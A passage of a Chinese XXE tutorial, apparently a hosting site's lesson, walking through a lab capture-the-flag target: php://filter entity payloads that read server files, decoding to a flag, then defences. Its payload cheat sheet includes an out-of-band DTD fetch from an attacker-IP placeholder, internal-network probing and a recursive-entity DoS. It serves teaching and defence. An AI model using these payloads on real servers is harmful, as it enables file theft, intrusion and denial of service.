    \u8bbf\u95ee http:\/\/192.168.220.136\/xxe\/admin.php \u2192 \u8f93\u5165\u4e0a\u9762\u62ff\u5230\u7684\u7528\u6237\u540d\u5bc6\u7801 \u2192 \u767b\u5f55\u6210\u529f！<\/p>\n

    \u9875\u9762\u63d0\u793a Flag \u5728\u67d0\u4e2a\u5730\u65b9，\u4f46\u76f4\u63a5\u8bbf\u95ee\u8be5\u94fe\u63a5\u53d1\u73b0\u300c\u4e0d\u5bb9\u8bb8\u8bbf\u95ee\u300d\u2192 \u7ee7\u7eed\u7528 XXE \u8bfb！<\/p>\n

    \n
    \u7b2c\u56db\u6b65：\u8bfb\u53d6 flagmeout.php<\/h5>\n

    <?xml version="1.0" encoding="UTF-8"?><\/span>
    \n<!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=flagmeout.php">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>root<\/span>><\/span><\/span><<\/span>name<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>name<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>123213<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>root<\/span>><\/span><\/span><\/p>\n

    Base64 \u89e3\u7801\u540e\u5f97\u5230：<\/p>\n

    <?php<\/span>
    \n$flag<\/span> =<\/span> "<!– the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) –>"<\/span>;<\/span>
    \necho<\/span> $flag<\/span>;<\/span>
    \n?<\/span>><\/span><\/p>\n

    Flag \u7ecf\u8fc7\u4e86\u4e24\u5c42\u7f16\u7801！<\/p>\n

    \n
    \u7b2c\u4e94\u6b65：\u4e24\u6b21\u89e3\u5bc6\u5bc6\u6587<\/h5>\n

    \u5bc6\u6587： JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5<\/p>\n

    \u7b2c\u4e00\u6b21\u89e3\u5bc6 \u2014 Base32：<\/p>\n

    JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 \u2192 (Base32 \u89e3\u7801) \u2192 L2V0Yy8uZmxhZy5waHA=<\/p>\n

    Base32 \u89e3\u7801\u5de5\u5177：https:\/\/www.bejson.com\/encrypt\/base32\/<\/p>\n

    \u7b2c\u4e8c\u6b21\u89e3\u5bc6 \u2014 Base64：<\/p>\n

    L2V0Yy8uZmxhZy5waHA= \u2192 (Base64 \u89e3\u7801) \u2192 \/etc\/.flag.php<\/p>\n

    \u9690\u85cf\u6587\u4ef6 .flag.php \u5728 \/etc\/ \u76ee\u5f55\u4e0b！\u6587\u4ef6\u540d\u524d\u7684 . \u8868\u793a Linux \u9690\u85cf\u6587\u4ef6\u3002<\/p>\n

    \n
    \u7b2c\u516d\u6b65：\u8bfb\u53d6\u6700\u7ec8\u7684 Flag<\/h5>\n

    <?xml version="1.0" encoding="UTF-8"?><\/span>
    \n<!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
    \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/.flag.php">
    \n<\/span>]<\/span>><\/span><\/span>
    \n<<\/span>root<\/span>><\/span><\/span><<\/span>name<\/span>><\/span><\/span>
    \n&file;<\/span>
    \n<\/<\/span>name<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>123213<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>root<\/span>><\/span><\/span><\/p>\n

    Base64 \u89e3\u7801 \u2192 \u5f97\u5230\u4e00\u6bb5\u6df7\u6dc6\u7684 PHP \u4ee3\u7801 \u2192 \u4f7f\u7528\u5728\u7ebf PHP \u4ee3\u7801\u6267\u884c\u5de5\u5177\u8fd0\u884c：<\/p>\n

      \n
    • https:\/\/code.y444.cn\/<\/li>\n
    • https:\/\/www.toolnb.com\/dev\/runCode.html<\/li>\n<\/ul>\n

      🎉 \u8f93\u51fa\u5185\u5bb9：{xxe_is_so_easy} \u2014 Flag \u5230\u624b！<\/p>\n

      \n

      \u7efc\u5408\u6848\u4f8b\u901a\u5173\u8def\u7ebf\u56fe<\/h4>\n

      nmap \u626b\u7aef\u53e3 \u2192 \u627e\u5230 192.168.220.136:80
      \n \u2193
      \n\u76ee\u5f55 \/ \u6587\u4ef6\u626b\u63cf \u2192 \u53d1\u73b0 robots.txt + \/xxe\/ \u767b\u5f55\u9875
      \n \u2193
      \nBP \u62e6\u622a XXE \u767b\u5f55\u8bf7\u6c42 \u2192 \u9a8c\u8bc1 XML \u89e3\u6790 XXE
      \n \u2193
      \n\u8bfb\u53d6 xxe.php \u2192 \u786e\u8ba4\u6f0f\u6d1e + \u4e86\u89e3\u4ee3\u7801\u903b\u8f91
      \n \u2193
      \n\u8bfb\u53d6 admin.php \u2192 \u62ff\u5230 admin@123（MD5 \u89e3\u5bc6）
      \n \u2193
      \n\u767b\u5f55\u540e\u53f0 \u2192 \u53d1\u73b0 flagmeout.php \u94fe\u63a5\u4e0d\u5bb9\u8bb8\u8bbf\u95ee
      \n \u2193
      \n\u8bfb\u53d6 flagmeout.php \u2192 \u62ff\u5230 Base32 \u5bc6\u6587
      \n \u2193
      \nBase32 \u2192 Base64 \u4e24\u6b21\u89e3\u5bc6 \u2192 \/etc\/.flag.php
      \n \u2193
      \n\u8bfb\u53d6 \/etc\/.flag.php \u2192 \u6df7\u6dc6 PHP \u4ee3\u7801
      \n \u2193
      \n\u5728\u7ebf\u8fd0\u884c PHP \u4ee3\u7801 \u2192 🎯 {xxe_is_so_easy}<\/p>\n

      \n

      \u4e94\u3001XXE \u6f0f\u6d1e\u9632\u5fa1<\/h3>\n

      \u9632\u5fa1\u65b9\u6cd5：\u7981\u6b62\u5916\u90e8\u5b9e\u4f53<\/h4>\n

      \u5728 xxe.php \u4e2d\u4fee\u6539\u4ee3\u7801：<\/p>\n

      \/\/ XXE \u6f0f\u6d1e\u9632\u5fa1<\/span>
      \n\/\/ \u7981\u6b62\u5916\u90e8\u5b9e\u4f53 \u2014 libxml_disable_entity_loader \u5fc5\u987b\u4e3a true<\/span>
      \nlibxml_disable_entity_loader<\/span>(<\/span>true<\/span>)<\/span>;<\/span><\/p>\n

      \u9a8c\u8bc1\u4fee\u590d\u6548\u679c<\/h4>\n

      \u518d\u6b21\u5bf9 http:\/\/localhost\/xxe\/ \u53d1\u8d77 XXE \u653b\u51fb：<\/p>\n

      <!<\/span>DOCTYPE<\/span> ANY<\/span> [<\/span>
      \n <!ENTITY file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=doLogin.php">
      \n<\/span>]<\/span>><\/span><\/span>
      \n<<\/span>user<\/span>><\/span><\/span><<\/span>username<\/span>><\/span><\/span>
      \n&file;<\/span>
      \n<\/<\/span>username<\/span>><\/span><\/span><<\/span>password<\/span>><\/span><\/span>12313<\/<\/span>password<\/span>><\/span><\/span><\/<\/span>user<\/span>><\/span><\/span><\/p>\n

      \u65e0\u6cd5\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9 \u2192 XXE \u6f0f\u6d1e\u5df2\u88ab\u4fee\u590d！<\/p>\n

      \u9632\u5fa1\u603b\u7ed3<\/h4>\n\n\u63aa\u65bd\u8bf4\u660e<\/tr>\n\n\n\n\n\n\n
      \u7981\u7528\u5916\u90e8\u5b9e\u4f53<\/td>\nlibxml_disable_entity_loader(true)<\/td>\n<\/tr>\n
      \u8fc7\u6ee4 XML \u8f93\u5165<\/td>\n\u8fc7\u6ee4 DOCTYPE\u3001ENTITY\u3001SYSTEM \u7b49\u5173\u952e\u5b57<\/td>\n<\/tr>\n
      \u4f7f\u7528\u767d\u540d\u5355\u534f\u8bae<\/td>\n\u4ec5\u5141\u8bb8\u5b89\u5168\u7684\u534f\u8bae，\u62d2\u7edd file:\/\/\u3001ftp:\/\/ \u7b49<\/td>\n<\/tr>\n
      \u5347\u7ea7 XML \u89e3\u6790\u5668<\/td>\n\u4f7f\u7528\u9ed8\u8ba4\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u52a0\u8f7d\u7684\u65b0\u7248\u89e3\u6790\u5668<\/td>\n<\/tr>\n
      WAF \u62e6\u622a<\/td>\n\u5f00 WAF \u68c0\u6d4b XXE \u653b\u51fb\u7279\u5f81<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
      \n

      \u516d\u3001XXE Payload \u901f\u67e5\u8868<\/h3>\n\n\u573a\u666fPayload<\/tr>\n\n\n\n\n\n\n
      \u6709\u56de\u663e\u8bfb\u6587\u4ef6<\/td>\n<!ENTITY xxe SYSTEM "file:\/\/\/path\/to\/file"><\/td>\n<\/tr>\n
      \u8bfb PHP \u6e90\u7801<\/td>\n<!ENTITY xxe SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=xxx.php"><\/td>\n<\/tr>\n
      \u65e0\u56de\u663e\u5916\u5e26<\/td>\n<!ENTITY % dtd SYSTEM "http:\/\/\u653b\u51fb\u8005IP\/vil.dtd"> %dtd;<\/td>\n<\/tr>\n
      \u5185\u7f51\u63a2\u6d4b<\/td>\n<!ENTITY xxe SYSTEM "http:\/\/192.168.1.1:80"><\/td>\n<\/tr>\n
      DoS \u653b\u51fb<\/td>\n\u9012\u5f52\u5b9e\u4f53\u5d4c\u5957 <!ENTITY a "&b;&b;&b;&b;&b;…"><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
      \n

      \u4e03\u3001\u8bfe\u540e\u4f5c\u4e1a<\/h3>\n

      \u7efc\u5408\u6848\u4f8b：\u5bf9\u865a\u62df\u673a\u9776\u573a\u8fdb\u884c\u5b8c\u6574 XXE \u653b\u51fb，\u62ff\u5230\u6700\u7ec8 Flag {xxe_is_so_easy}\u3002<\/p>\n

      \n

      \u5199\u5728\u6700\u540e： XXE \u662f\u4e00\u4e2a\u770b\u4f3c\u51b7\u95e8\u4f46\u6740\u4f24\u529b\u6781\u5927\u7684\u6f0f\u6d1e\u2014\u2014\u53ea\u9700\u51e0\u884c XML，\u5c31\u80fd\u8ba9\u670d\u52a1\u5668\u628a\u5185\u90e8\u6587\u4ef6\u62f1\u624b\u9001\u4e0a\u3002\u5f88\u591a\u5f00\u53d1\u8005\u4ee5\u4e3a XML \u53ea\u662f\u6570\u636e\u683c\u5f0f，\u6ca1\u610f\u8bc6\u5230\u5b83\u80fd\u52a0\u8f7d\u5916\u90e8\u5b9e\u4f53，\u4ece\u800c\u57cb\u4e0b\u5927\u96f7\u3002\u641e\u5b9a XXE，\u4f60\u7684\u6f0f\u6d1e\u6316\u6398\u6b66\u5668\u5e93\u53c8\u591a\u4e86\u4ef6\u795e\u5175\u5229\u5668\u3002\u4e0b\u4e00\u8bfe\u89c1！<\/p>\n","protected":false},"excerpt":{"rendered":"

      XXE \u6f0f\u6d1e \u2014 \u5f53 XML \u89e3\u6790\u5668\u5e2e\u4f60\u5077\u6587\u4ef6SQL \u6ce8\u5165\u662f\u5bf9\u6570\u636e\u5e93\u4e0b\u624b，XSS \u662f\u5f80\u9875\u9762\u91cc\u585e JS，SSRF \u662f\u8ba9\u670d\u52a1\u5668\u5f53\u8df3\u677f\u3002\u4eca\u5929\u6765\u4e00\u4e2a\u51b7\u95e8\u4f46\u6740\u4f24\u529b\u6781\u5927\u7684：XXE（XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165）\u3002\u5b83\u4e0d\u9700\u8981\u82b1\u91cc\u80e1\u54e8\u7684\u6280\u5de7，\u53ea\u9700\u8981\u51e0\u884c XML，\u5c31\u80fd\u8ba9\u670d\u52a1\u5668\u4e56\u4e56\u628a\u5185\u90e8\u6587\u4ef6\u8bfb\u7ed9\u4f60\u770b\u3002\u4ece\u539f\u7406\u5230\u4e24\u6b21 Base64 \u89e3\u5bc6\u62ff Flag，\u4e00\u8def\u901a\u5173\u3002\u8bfe\u7a0b\u6982\u89c8
      \n1. XML \u57fa\u7840&#xff1<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[768,100,78],"topic":[],"class_list":["post-90956","post","type-post","status-publish","format-standard","hentry","category-server","tag-sql","tag-100","tag-78"],"yoast_head":"\nXXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/90956.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"XXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"XXE \u6f0f\u6d1e \u2014 \u5f53 XML \u89e3\u6790\u5668\u5e2e\u4f60\u5077\u6587\u4ef6SQL \u6ce8\u5165\u662f\u5bf9\u6570\u636e\u5e93\u4e0b\u624b，XSS \u662f\u5f80\u9875\u9762\u91cc\u585e JS，SSRF \u662f\u8ba9\u670d\u52a1\u5668\u5f53\u8df3\u677f\u3002\u4eca\u5929\u6765\u4e00\u4e2a\u51b7\u95e8\u4f46\u6740\u4f24\u529b\u6781\u5927\u7684：XXE（XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165）\u3002\u5b83\u4e0d\u9700\u8981\u82b1\u91cc\u80e1\u54e8\u7684\u6280\u5de7，\u53ea\u9700\u8981\u51e0\u884c XML，\u5c31\u80fd\u8ba9\u670d\u52a1\u5668\u4e56\u4e56\u628a\u5185\u90e8\u6587\u4ef6\u8bfb\u7ed9\u4f60\u770b\u3002\u4ece\u539f\u7406\u5230\u4e24\u6b21 Base64 \u89e3\u5bc6\u62ff Flag，\u4e00\u8def\u901a\u5173\u3002\u8bfe\u7a0b\u6982\u89c8 1. XML \u57fa\u7840&#xff1\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/90956.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-06T03:16:33+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/90956.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/90956.html\",\"name\":\"XXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-06T03:16:33+00:00\",\"dateModified\":\"2026-08-06T03:16:33+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/90956.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/90956.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/90956.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"XXE \u6f0f\u6d1e\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"XXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/90956.html","og_locale":"zh_CN","og_type":"article","og_title":"XXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"XXE \u6f0f\u6d1e \u2014 \u5f53 XML \u89e3\u6790\u5668\u5e2e\u4f60\u5077\u6587\u4ef6SQL \u6ce8\u5165\u662f\u5bf9\u6570\u636e\u5e93\u4e0b\u624b，XSS \u662f\u5f80\u9875\u9762\u91cc\u585e JS，SSRF \u662f\u8ba9\u670d\u52a1\u5668\u5f53\u8df3\u677f\u3002\u4eca\u5929\u6765\u4e00\u4e2a\u51b7\u95e8\u4f46\u6740\u4f24\u529b\u6781\u5927\u7684：XXE（XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165）\u3002\u5b83\u4e0d\u9700\u8981\u82b1\u91cc\u80e1\u54e8\u7684\u6280\u5de7，\u53ea\u9700\u8981\u51e0\u884c XML，\u5c31\u80fd\u8ba9\u670d\u52a1\u5668\u4e56\u4e56\u628a\u5185\u90e8\u6587\u4ef6\u8bfb\u7ed9\u4f60\u770b\u3002\u4ece\u539f\u7406\u5230\u4e24\u6b21 Base64 \u89e3\u5bc6\u62ff Flag，\u4e00\u8def\u901a\u5173\u3002\u8bfe\u7a0b\u6982\u89c8 1. XML \u57fa\u7840&#xff1","og_url":"https:\/\/www.wsisp.com\/helps\/90956.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-06T03:16:33+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"7 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/90956.html","url":"https:\/\/www.wsisp.com\/helps\/90956.html","name":"XXE \u6f0f\u6d1e - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-06T03:16:33+00:00","dateModified":"2026-08-06T03:16:33+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/90956.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/90956.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/90956.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"XXE \u6f0f\u6d1e"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/90956","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=90956"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/90956\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=90956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=90956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=90956"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=90956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}